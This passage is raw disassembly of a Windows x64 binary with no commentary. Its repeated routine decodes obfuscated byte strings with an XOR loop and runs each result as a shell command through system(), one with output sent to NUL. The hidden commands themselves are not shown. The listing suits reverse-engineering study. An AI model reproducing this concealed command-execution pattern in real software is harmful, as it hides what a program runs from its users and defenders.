sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040ae0
mov r8, r10
lea rdx, [rbp + 0xdb0]
lea rcx, [rbp + 0x2640]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x2620]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2600]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x25e0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x25e0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2600]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2620]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2640]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2660]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2680]
call fcn.14004b800
movups xmm0, xmmword [0x1400d19f0]
movups xmmword [rbp + 0x1990], xmm0
movups xmm1, xmmword [0x1400d1a00]
movups xmmword [rbp + 0x19a0], xmm1
movups xmm0, xmmword [0x1400d1a10]
movups xmmword [rbp + 0x19b0], xmm0
movups xmm1, xmmword [0x1400d1a20]
movups xmmword [rbp + 0x19c0], xmm1
movups xmm0, xmmword [0x1400d1a30]
movups xmmword [rbp + 0x19d0], xmm0
movups xmm1, xmmword [0x1400d1a40]
movups xmmword [rbp + 0x19e0], xmm1
movups xmm0, xmmword [0x1400d1a50]
movups xmmword [rbp + 0x19f0], xmm0
movsd xmm0, qword [0x1400d1a60]
movsd qword [rbp + 0x1a00], xmm0
movzx eax, word [0x1400d1a68]
mov word [rbp + 0x1a08], ax
movzx eax, byte [0x1400d1a6a]
mov byte [rbp + 0x1a0a], al
mov r8d, edi
cmp esi, 2
jl 0x140040d73
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1994]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140040c80
cmp r8d, 0x7b
jge 0x140040db3
movsxd rax, r8d
lea r9, [rbp + 0x1990]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7b
jl 0x140040d80
lea rcx, [rbp + 0x1990]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400cff90]
movups xmm0, xmmword [0x1400cff80]
movups xmmword [rbp + 0x1330], xmm1
movups xmmword [rbp + 0x1320], xmm0
movups xmm1, xmmword [0x1400cffb0]
movups xmm0, xmmword [0x1400cffa0]
movups xmmword [rbp + 0x1350], xmm1
movups xmmword [rbp + 0x1340], xmm0
movups xmm1, xmmword [0x1400cffd0]
movups xmm0, xmmword [0x1400cffc0]
movups xmmword [rbp + 0x1370], xmm1
movups xmmword [rbp + 0x1360], xmm0
movzx eax, byte [0x1400d0000]
movups xmm1, xmmword [0x1400cfff0]
movups xmm0, xmmword [0x1400cffe0]
mov byte [rbp + 0x13a0], al
movups xmmword [rbp + 0x1390], xmm1
movups xmmword [rbp + 0x1380], xmm0
mov r8d, edi
cmp esi, 2
jl 0x140040f59
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1324]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140040e60
cmp r8d, 0x81
jge 0x140040fa6
movsxd rax, r8d
lea r9, [rbp + 0x1320]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x140040f70
lea rcx, [rbp + 0x1320]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rbx, [0x140000000]
lea rcx, [rbx + 0xd0210]
lea rdx, [rbp + 0x3160]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x90], xmm1
mov eax, dword [rcx + 0xa0]
mov dword [rdx + 0xa0], eax
movzx eax, byte [rcx + 0xa4]
mov byte [rdx + 0xa4], al
mov r8d, edi
cmp esi, 2
jl 0x140041159
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x3164]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140041060
cmp r8d, 0xa5
jge 0x1400411a6
movsxd rax, r8d
lea r9, [rbp + 0x3160]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa5
jl 0x140041170
lea rcx, [rbp + 0x3160]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0xd0470]
lea rcx, [rbp + 0x30b0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
mov eax, dword [rax + 0xa0]
mov dword [rcx + 0xa0], eax
mov r8d, edi
cmp esi, 2
jl 0x140041349
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x30b4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140041250
cmp r8d, 0xa4
jge 0x140041396
movsxd rax, r8d
lea r9, [rbp + 0x30b0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa4
jl 0x140041360
lea rcx, [rbp + 0x30b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0xd03b0]
lea rcx, [rbp + 0x3370]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movzx eax, word [rax + 0xb0]
mov word [rcx + 0xb0], ax
mov r8d, edi
cmp esi, 2
jl 0x140041549
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x3374]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xb0
jl 0x140041450
cmp r8d, 0xb2
jge 0x140041596
movsxd rax, r8d
lea r9, [rbp + 0x3370]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb2
jl 0x140041560
lea rcx, [rbp + 0x3370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400d0c00]
movups xmm0, xmmword [0x1400d0bf0]
movups xmmword [rbp + 0xbd0], xmm1
movups xmmword [rbp + 0xbc0], xmm0
movups xmm1, xmmword [0x1400d0c20]
movups xmm0, xmmword [0x1400d0c10]
movups xmmword [rbp + 0xbf0], xmm1
movups xmmword [rbp + 0xbe0], xmm0
mov eax, dword [0x1400d0c70]
movups xmm1, xmmword [0x1400d0c40]
movups xmm0, xmmword [0x1400d0c30]
mov dword [rbp + 0xc40], eax
movups xmmword [rbp + 0xc10], xmm1
movups xmmword [rbp + 0xc00], xmm0
movzx eax, word [0x1400d0c74]
movups xmm1, xmmword [0x1400d0c60]
movups xmm0, xmmword [0x1400d0c50]
mov word [rbp + 0xc44], ax
movups xmmword [rbp + 0xc30], xmm1
movups xmmword [rbp + 0xc20], xmm0
mov r8d, edi
cmp esi, 2
jl 0x140041749
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xbc4]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140041650
cmp r8d, 0x86
jge 0x140041796
movsxd rax, r8d
lea r9, [rbp + 0xbc0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x86
jl 0x140041760
lea rcx, [rbp + 0xbc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400d0d70]
movups xmmword [rbp + 0x13b0], xmm0
movups xmm0, xmmword [0x1400d0d90]
movups xmmword [rbp + 0x13d0], xmm0
movups xmm0, xmmword [0x1400d0db0]
movups xmm1, xmmword [0x1400d0d80]
movups xmmword [rbp + 0x13f0], xmm0
movups xmmword [rbp + 0x13c0], xmm1
movups xmm0, xmmword [0x1400d0dd0]
movups xmm1, xmmword [0x1400d0da0]
movups xmmword [rbp + 0x1410], xmm0
movups xmmword [rbp + 0x13e0], xmm1
movups xmm0, xmmword [0x1400d0df0]
movups xmm1, xmmword [0x1400d0dc0]
movups xmmword [rbp + 0x1430], xmm0
movups xmmword [rbp + 0x1400], xmm1
movzx eax, byte [0x1400d0e08]
movsd xmm0, qword [0x1400d0e00]
movups xmm1, xmmword [0x1400d0de0]
mov byte [rbp + 0x1448], al
movsd qword [rbp + 0x1440], xmm0
movups xmmword [rbp + 0x1420], xmm1
mov r8d, edi
cmp esi, 2
jl 0x140041959
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x13b4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140041860
cmp r8d, 0x99
jge 0x1400419a6
movsxd rax, r8d
lea r9, [rbp + 0x13b0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x140041970
lea rcx, [rbp + 0x13b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400d0920]
movups xmmword [rbp + 0x940], xmm0
movups xmm0, xmmword [0x1400d0940]
movups xmmword [rbp + 0x960], xmm0
movups xmm0, xmmword [0x1400d0960]
movups xmm1, xmmword [0x1400d0930]
movups xmmword [rbp + 0x980], xmm0
movups xmmword [rbp + 0x950], xmm1
movups xmm0, xmmword [0x1400d0980]
movups xmm1, xmmword [0x1400d0950]
movups xmmword [rbp + 0x9a0], xmm0
movups xmmword [rbp + 0x970], xmm1
movzx eax, word [0x1400d09b8]
movups xmm0, xmmword [0x1400d09a0]
movups xmm1, xmmword [0x1400d0970]
mov word [rbp + 0x9d8], ax
movups xmmword [rbp + 0x9c0], xmm0
movups xmmword [rbp + 0x990], xmm1
movzx eax, byte [0x1400d09ba]
movsd xmm0, qword [0x1400d09b0]
movups xmm1, xmmword [0x1400d0990]
mov byte [rbp + 0x9da], al
movsd qword [rbp + 0x9d0], xmm0
movups xmmword [rbp + 0x9b0], xmm1
mov r8d, edi
cmp esi, 2
jl 0x140041b79
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x944]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140041a80
cmp r8d, 0x9b
jge 0x140041bc6
movsxd rax, r8d
lea r9, [rbp + 0x940]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9b
jl 0x140041b90
lea rcx, [rbp + 0x940]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400d05c0]
movups xmmword [rbp + 0x9e0], xmm0
movups xmm0, xmmword [0x1400d05e0]
movups xmmword [rbp + 0xa00], xmm0
movups xmm0, xmmword [0x1400d0600]
movups xmm1, xmmword [0x1400d05d0]
movups xmmword [rbp + 0xa20], xmm0
movups xmmword [rbp + 0x9f0], xmm1
movups xmm0, xmmword [0x1400d0620]
movups xmm1, xmmword [0x1400d05f0]
movups xmmword [rbp + 0xa40], xmm0
movups xmmword [rbp + 0xa10], xmm1
movzx eax, word [0x1400d0658]
movups xmm0, xmmword [0x1400d0640]
movups xmm1, xmmword [0x1400d0610]
mov word [rbp + 0xa78], ax
movups xmmword [rbp + 0xa60], xmm0
movups xmmword [rbp + 0xa30], xmm1
movzx eax, byte [0x1400d065a]
movsd xmm0, qword [0x1400d0650]
movups xmm1, xmmword [0x1400d0630]
mov byte [rbp + 0xa7a], al
movsd qword [rbp + 0xa70], xmm0
movups xmmword [rbp + 0xa50], xmm1
mov r8d, edi
cmp esi, 2
jl 0x140041d99
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x9e4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140041ca0
cmp r8d, 0x9b
jge 0x140041de6
movsxd rax, r8d
lea r9, [rbp + 0x9e0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9b
